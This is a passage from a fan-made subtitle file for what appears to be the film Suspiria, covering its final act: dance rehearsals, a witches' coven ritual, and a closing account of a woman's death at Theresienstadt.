01:16:28.479 --> 01:16:33.597
Sara. Please, only look closer.

406
01:16:33.599 --> 01:16:34.878
Thank you for caring for
Patricia

407
01:16:34.880 --> 01:16:36.576
but I hope
you don't come again.

408
01:16:58.143 --> 01:17:00.158
- Good night.
- Good night.

409
01:17:00.160 --> 01:17:01.726
Sara, hurry up.

410
01:17:01.728 --> 01:17:04.064
I'm tired. I need the bathroom.

411
01:17:07.200 --> 01:17:09.087
- Good night, Doll.
- Good night.

412
01:17:18.688 --> 01:17:20.543
She hasn't come back yet?

413
01:17:25.696 --> 01:17:27.200
Maybe she's seeing somebody.

414
01:17:33.280 --> 01:17:37.246
<i>Part of the issue always is not being
able to see your body in the space.</i>

415
01:17:37.248 --> 01:17:41.598
<i>One angle in one mirror or
on film is not enough.</i>

416
01:17:41.600 --> 01:17:44.927
<i>Movement is never mute. It is a
language.</i>

417
01:17:44.929 --> 01:17:51.934
<i>It's a series of energetic shapes written
in the air like words forming sentences.</i>

418
01:17:51.936 --> 01:17:53.216
Like poems.

419
01:17:54.432 --> 01:17:55.905
Like prayers.

420
01:17:58.912 --> 01:18:00.065
Spells?

421
01:18:02.080 --> 01:18:08.735
When you jump it's not the height but
the space beneath you that matters.

422
01:18:08.737 --> 01:18:11.392
Every leap into the air
must be a <i>coup de foudre.</i>

423
01:18:16.385 --> 01:18:21.119
- I don't understand.
- A strike of lightning.

424
01:18:21.121 --> 01:18:23.137
A bolt of love, in fact.

425
01:18:26.017 --> 01:18:27.521
That's beautiful.

426
01:18:29.025 --> 01:18:34.783
There are two things that dance can
never be again: beautiful and cheerful.

427
01:18:34.785 --> 01:18:39.071
Today we need to break the nose
of every beautiful thing.

428
01:18:39.073 --> 01:18:42.817
And if you are going to be a
dancer you must learn French.

429
01:19:18.914 --> 01:19:25.087
When you dance the dance of another, you
make yourself in the image of its creator.

430
01:19:25.089 --> 01:19:28.095
You empty yourself so that her
work can live within you.

431
01:19:28.097 --> 01:19:29.250
Do you understand?

432
01:19:30.338 --> 01:19:31.298
Yeah.

433
01:19:33.474 --> 01:19:40.160
You're in a company now. You have to find your right place.
You have to decide what you want to be for this company.

434
01:19:40.162 --> 01:19:47.360
Is it the head? The spine?
The sex? The heart?

435
01:19:47.362 --> 01:19:48.450
The hands.

436
01:19:50.626 --> 01:19:53.408
I want to be this
company's hands.

437
01:19:58.371 --> 01:20:02.977
Higher... Higher... Higher...

438
01:20:02.979 --> 01:20:06.624
Higher... Higher! Higher!

439
01:20:06.626 --> 01:20:07.874
Higher.

440
01:20:09.762 --> 01:20:12.769
<i>Higher! Higher!</i>

441
01:20:12.771 --> 01:20:13.986
<i>Higher!</i>

442
01:20:19.203 --> 01:20:23.168
Higher. Higher! Higher!

443
01:20:23.170 --> 01:20:26.786
Higher! Higher! Higher!

444
01:20:32.514 --> 01:20:35.553
Sometimes I only need
to be told twice.

445
01:22:32.420 --> 01:22:39.555
55, 56, 57, 58, 59-

446
01:22:46.788 --> 01:22:49.444
60, 61, 62, 63.

447
01:22:58.821 --> 01:23:01.989
65, 64, 63, 62.

448
01:23:10.085 --> 01:23:12.709
23, 22, 21.

449
01:23:25.669 --> 01:23:29.507
10, 9, 8, 7, 6...

450
01:23:29.509 --> 01:23:31.781
Two, one.

451
01:26:41.128 --> 01:26:50.726
Patricia wrote about three mothers, lost
in time, predating all Christian invention.

452
01:26:50.728 --> 01:26:59.398
Pre-god, pre-devil. Mother
Tenebrarum, Mother Lachrymarum

453
01:26:59.400 --> 01:27:01.672
and Mother Suspiriorum.

454
01:27:03.209 --> 01:27:07.209
Darkness, Tears and Sighs.

455
01:27:08.104 --> 01:27:13.062
I saw images of that last night in
porcelain and these very fine things.

456
01:27:13.064 --> 01:27:14.504
You can tell they have money.

457
01:27:18.535 --> 01:27:23.815
Patricia said that Markos claims
to be one of the three.

458
01:27:23.817 --> 01:27:31.527
But there is disent amongst them. She
wrote about Markosites and Blancites.

459
01:27:31.529 --> 01:27:33.321
An internal division.

460
01:27:35.113 --> 01:27:37.065
Madame Blanc's
involved in this?

461
01:27:42.953 --> 01:27:44.745
Do they believe they're witches?

462
01:27:46.728 --> 01:27:52.263
You can give someone your
delusion, Sara.

463
01:27:52.265 --> 01:27:53.417
That's religion.

464
01:27:56.201 --> 01:27:57.705
That was the Reich.

465
01:27:59.177 --> 01:28:00.872
The Reich had these things.

466
01:28:02.536 --> 01:28:07.847
Insignia. Esoteric ritual.

467
01:28:07.849 --> 01:28:17.449
These mothers, yeah, they could be codenames for founding
members with metaphoric histories, I don't know.

468
01:28:18.857 --> 01:28:22.057
But I do know you're living with
dangerous people.

469
01:28:23.370 --> 01:28:25.864
Patricia could still be in-

470
01:28:25.866 --> 01:28:26.762
...in there.

471
01:28:31.049 --> 01:28:33.481
They could be holding her
in the building.

472
01:28:34.154 --> 01:28:41.288
Well, I can not promise that your searches will
come back to inspect a cabinet full of porcelain

473
01:28:41.290 --> 01:28:46.376
after all that has happened.
But we can try.

474
01:28:46.378 --> 01:28:52.455
And in the meantime you must take care
of yourself. Perhaps you should leave.

475
01:28:52.457 --> 01:28:53.770
You have somewhere you can go?

476
01:28:55.787 --> 01:28:57.707
I'll figure it out.

477
01:28:58.377 --> 01:29:01.352
And I think you should
put this back.

478
01:29:01.354 --> 01:29:03.178
Or better still,
you leave it here.

479
01:29:05.194 --> 01:29:07.178
Not good for them
to know that you have it.

480
01:30:36.363 --> 01:30:43.179
Is anyone among you sick? Let him call for the
elders of the church, and let them pray over him

481
01:30:43.467 --> 01:30:46.636
anointing him with oil
in the name of the Lord.

482
01:30:47.339 --> 01:30:52.170
And the prayer of faith shall
save him that is sick.

483
01:30:52.172 --> 01:30:59.115
And the Lord shall raise him up.
And if he has committed sins-

484
01:31:00.075 --> 01:31:01.707
My daughter.

485
01:31:04.555 --> 01:31:06.475
...they shall be forgiven him.

486
01:31:10.412 --> 01:31:12.204
My last one.

487
01:31:14.220 --> 01:31:21.257
She's my sin... She's what I
smear on the world.

488
01:32:00.301 --> 01:32:02.412
You're making some kind
of deal with them.

489
01:32:03.949 --> 01:32:07.691
I don't know what you're
talking about.

490
01:32:07.693 --> 01:32:10.573
How can you know what they're
going to ask you in return?

491
01:32:10.861 --> 01:32:15.373
Sara, whatever you have in your
mind, nothing is wrong.

492
01:32:17.324 --> 01:32:19.084
You just haven't
seen the bill yet.

493
01:32:20.429 --> 01:32:22.891
Nothing's wrong.

494
01:33:19.022 --> 01:33:20.844
What's the matter with you?

495
01:33:20.846 --> 01:33:22.510
Huh?

496
01:33:26.317 --> 01:33:31.276
You don't be so afraid about the
white, Susie.

497
01:33:31.278 --> 01:33:34.573
They need to see you
from the very back row.

498
01:33:42.541 --> 01:33:43.791
Where is Sara?

499
01:33:44.814 --> 01:33:47.724
She came early in the morning

500
01:33:47.726 --> 01:33:49.550
did her makeup and left.

501
01:34:38.703 --> 01:34:42.189
Girls, <i>Vier Minuten!</i>

502
01:34:42.191 --> 01:34:43.374
Four minutes!

503
01:34:46.254 --> 01:34:47.759
<i>Vier Minuten!</i>

504
01:35:32.751 --> 01:35:35.631
<i>Sara. Sara.</i>

505
01:35:36.847 --> 01:35:39.727
Patricia. Patricia.

506
01:35:40.816 --> 01:35:48.015
Patricia, I knew it! Sorry it
took me so long. I'm so sorry.

507
01:35:48.720 --> 01:35:53.614
- What did they do to you?
- They would come here every day.

508
01:35:53.616 --> 01:35:55.343
It's all over now.
I'll get you out.

509
01:35:56.880 --> 01:36:00.813
The performance is starting upstairs.
Everyone will be looking the other way.

510
01:36:00.815 --> 01:36:03.501
Get up. Get up.

511
01:36:03.503 --> 01:36:04.528
Patricia!

512
01:36:05.136 --> 01:36:06.639
Patricia, get up!

513
01:36:07.888 --> 01:36:09.136
Get up.

514
01:36:21.072 --> 01:36:22.575
Sara!

515
01:36:23.920 --> 01:36:25.136
Sara!

516
01:36:56.881 --> 01:37:00.337
Markos! Markos! Markos! Markos!

517
01:37:20.720 --> 01:37:23.152
Marketa, where is Sara?

518
01:37:24.081 --> 01:37:24.848
Sara!

519
01:37:24.850 --> 01:37:26.575
- I don't know.
- Is she upstairs?

520
01:37:26.577 --> 01:37:27.982
No. I looked.

521
01:37:27.984 --> 01:37:29.937
Just dance
as if she's with you.

522
01:37:38.577 --> 01:37:39.890
<i>Sara!</i>

523
01:38:01.266 --> 01:38:02.224
Go.

524
01:39:51.668 --> 01:39:52.819
No.

525
01:39:55.059 --> 01:39:56.881
Sara, lie still.

526
01:39:56.883 --> 01:39:58.706
- No!
- Sara.

527
01:40:01.780 --> 01:40:03.091
Please!

528
01:40:09.812 --> 01:40:12.500
No! No!

529
01:46:12.408 --> 01:46:14.232
I'm sorry I went off book.

530
01:46:20.345 --> 01:46:25.464
This can't happen
again. You're only just starting to understand, Susie.

531
01:46:26.777 --> 01:46:30.615
We brought Sara back upstairs to try
to complete the performance in time.

532
01:46:30.617 --> 01:46:35.383
- But then you derailed it.
- Did I hurt those people?

533
01:46:35.385 --> 01:46:38.487
Not this time.
They saw her dance.

534
01:46:38.489 --> 01:46:39.417
That's all.

535
01:46:41.402 --> 01:46:46.935
It's all a mess, isn't it?
The one out there...

536
01:46:46.937 --> 01:46:48.280
The one in here.

537
01:46:51.194 --> 01:46:52.632
The one that's coming.

538
01:46:56.825 --> 01:46:59.415
Why is everyone

539
01:46:59.417 --> 01:47:02.009
so ready to think
the worst is over?

540
01:47:20.346 --> 01:47:22.297
I could
explain everything to you.

541
01:47:24.569 --> 01:47:26.937
I think it would be wrong,
though.

542
01:48:02.778 --> 01:48:10.490
One, two, three, four...

543
01:49:30.300 --> 01:49:31.451
<i>Herr Doktor.</i>

544
01:59:50.083 --> 01:59:51.397
I'm ready, Madame.

545
02:00:16.997 --> 02:00:18.211
You look afraid.

546
02:00:20.293 --> 02:00:22.117
She's afraid for you.

547
02:00:37.766 --> 02:00:43.716
There will be nothing of
you left inside.

548
02:00:45.254 --> 02:00:49.604
Only space... for me.

549
02:00:50.597 --> 02:00:52.677
I came here for this.

550
02:00:55.717 --> 02:00:57.509
You've all waited long enough.

551
02:00:59.461 --> 02:01:02.213
It is happening.

552
02:01:02.469 --> 02:01:05.381
It is happening!

553
02:01:46.438 --> 02:01:48.358
You come here.

554
02:01:50.439 --> 02:01:52.134
Hmm?

555
02:01:54.054 --> 02:02:00.518
You must have no doubts, Susie. If you do, I can take
you back. I can take all of this from your head.

556
02:02:00.998 --> 02:02:02.502
You can forget everything.

557
02:02:05.127 --> 02:02:07.237
I want this to be pure.

558
02:02:08.775 --> 02:02:12.676
We all know what you want.

559
02:02:16.647 --> 02:02:22.723
This isn't for vanity.
This isn't

560
02:02:22.725 --> 02:02:24.549
art!

561
02:02:26.311 --> 02:02:33.477
There's something wrong here. Can you not feel
it? This isn't right. We have to stop this now.

562
02:02:33.479 --> 02:02:39.878
We've been on two sides of this
for too long now.

563
02:03:24.808 --> 02:03:28.517
If you accept me

564
02:03:28.519 --> 02:03:33.352
you must put down
the woman who bore you.

565
02:03:35.784 --> 02:03:38.791
Think of that false mother now.

566
02:03:52.040 --> 02:03:53.352
Reject her.

567
02:03:54.408 --> 02:03:56.232
Expel her.

568
02:03:59.720 --> 02:04:09.320
You have the only mother you need here.
Death to any other mother. Say it.

569
02:04:10.696 --> 02:04:13.576
Death to any other mother.

570
02:04:43.848 --> 02:04:45.320
Who are you?

571
02:04:51.560 --> 02:04:56.967
For whom were you anointed,
which of the three mothers?

572
02:04:56.969 --> 02:04:59.174
Mother death.

573
02:05:03.624 --> 02:05:06.505
Mother Suspiriorum.

574
02:05:09.193 --> 02:05:10.696
I am she.

575
02:05:48.714 --> 02:05:49.674
Markos.

576
02:06:03.978 --> 02:06:04.842
Markos!

577
02:06:39.626 --> 02:06:40.586
Markos!

578
02:06:42.826 --> 02:06:43.786
Markos.

579
02:06:50.602 --> 02:06:53.737
Death to any other mother.

580
02:06:53.739 --> 02:06:54.795
Markos.

581
02:07:01.642 --> 02:07:02.538
Markos!

582
02:07:14.187 --> 02:07:15.146
Markos!

583
02:07:22.603 --> 02:07:23.660
Markos!

584
02:07:28.618 --> 02:07:34.634
♪ Unmade ♪

585
02:07:35.754 --> 02:07:39.498
♪ Unmade ♪

586
02:07:41.739 --> 02:07:46.348
♪ I swear
that there's nothing ♪

587
02:08:02.924 --> 02:08:07.947
♪ I swear there's nothing... ♪

588
02:08:10.892 --> 02:08:15.209
I am the mother.

589
02:08:35.564 --> 02:08:38.987
- What do you ask?
- To die.

590
02:08:45.708 --> 02:08:47.147
Mother, we're so tired.

591
02:08:54.956 --> 02:08:59.306
- What do you ask?
- To die.

592
02:08:59.308 --> 02:09:00.556
I want to die.

593
02:09:09.996 --> 02:09:11.308
Sweet girl.

594
02:09:13.676 --> 02:09:15.116
What do you ask?

595
02:09:18.380 --> 02:09:19.754
Tired.

596
02:09:19.756 --> 02:09:22.829
♪ Come under my wings ♪

597
02:09:26.541 --> 02:09:31.308
♪ Come under my wings ♪

598
02:09:33.804 --> 02:09:38.157
♪ Come under my wings ♪

599
02:09:40.877 --> 02:09:44.557
- ♪ Under my wings. ♪
- Yes.

600
02:09:45.933 --> 02:09:51.147
Dance. Dance. Keep dancing.

601
02:09:51.149 --> 02:09:52.557
It's beautiful.

602
02:09:53.900 --> 02:09:55.373
It's beautiful.

603
02:09:56.812 --> 02:09:58.700
It's beautiful.

604
02:11:24.205 --> 02:11:25.997
Good. Good.

605
02:13:16.848 --> 02:13:18.798
My god, what a night.

606
02:13:18.800 --> 02:13:21.327
I definitely drank
too much wine.

607
02:13:40.176 --> 02:13:42.542
<i>Guten Morgen.</i>

608
02:13:42.544 --> 02:13:43.600
Good morning.

609
02:15:54.386 --> 02:15:56.850
I regret what my daughters
did to you.

610
02:15:59.154 --> 02:16:01.106
I wasn't in a position
to prevent it.

611
02:16:06.385 --> 02:16:08.627
I believe you deserve
to know the truth.

612
02:16:17.394 --> 02:16:22.128
Your wife did try to make it
south

613
02:16:22.130 --> 02:16:23.634
to Teplice.

614
02:16:25.299 --> 02:16:29.585
She was apprehended by border
guards

615
02:16:29.587 --> 02:16:32.531
in the woods
just outside of Glashütte.

616
02:16:35.698 --> 02:16:40.467
She was then taken
to Theresienstadt camp.

617
02:16:43.154 --> 02:16:45.395
She lived there for 20 days.

618
02:16:47.379 --> 02:16:52.433
On the 11th of November, 1943

619
02:16:52.435 --> 02:16:56.435
the commandant of the camp,
a man named Burger...

620
02:16:56.979 --> 02:17:00.753
ordered all 40,000
detained there

621
02:17:00.755 --> 02:17:05.267
stand outside in the cold
for a census.

622
02:17:11.187 --> 02:17:13.108
Hours and hours passed.

623
02:17:16.883 --> 02:17:18.835
Some hundreds died of exposure.

624
02:17:27.636 --> 02:17:30.131
Your wife had two women
with her as she died.

625
02:17:32.212 --> 02:17:36.082
Women she had befriended

626
02:17:36.084 --> 02:17:38.676
who made her feel
that she was not alone.

627
02:17:45.812 --> 02:17:55.411
Her final thoughts were of her birthday when
you took her to a concert as a surprise.

628
02:17:57.012 --> 02:17:59.697
Chopin and Brahms.

629
02:18:03.795 --> 02:18:05.844
It was the first time
you held her hand.

630
02:18:11.732 --> 02:18:14.388
She was cold when she died.

631
02:18:17.876 --> 02:18:19.188
But she wasn't afraid.

632
02:18:23.699 --> 02:18:25.748
She was thinking only of you.

633
02:18:44.468 --> 02:18:46.260
Of Anke Meier...

634
02:18:48.757 --> 02:18:50.228
...of Patricia Hingle...

635
02:18:51.956 --> 02:18:53.620
...of Sara Simms...

636
02:18:56.981 --> 02:19:00.819
...of Susanna Bannion...

637
02:19:00.821 --> 02:19:04.117
of all the women
of your undoing...

638
02:19:07.060 --> 02:19:09.684
...every memory will vanish.

639
02:19:13.301 --> 02:19:17.394
They will melt away in the sun

640
02:19:17.396 --> 02:19:18.485
and be gone.

641
02:19:49.237 --> 02:19:50.550
Herr Doctor.

642
02:20:06.646 --> 02:20:08.566
- <i>Ja?</i>
- <i>Ja.</i>

643
02:21:41.329 --> 02:21:46.329
Subtitles by explosiveskull


ZeroDay Forums Mini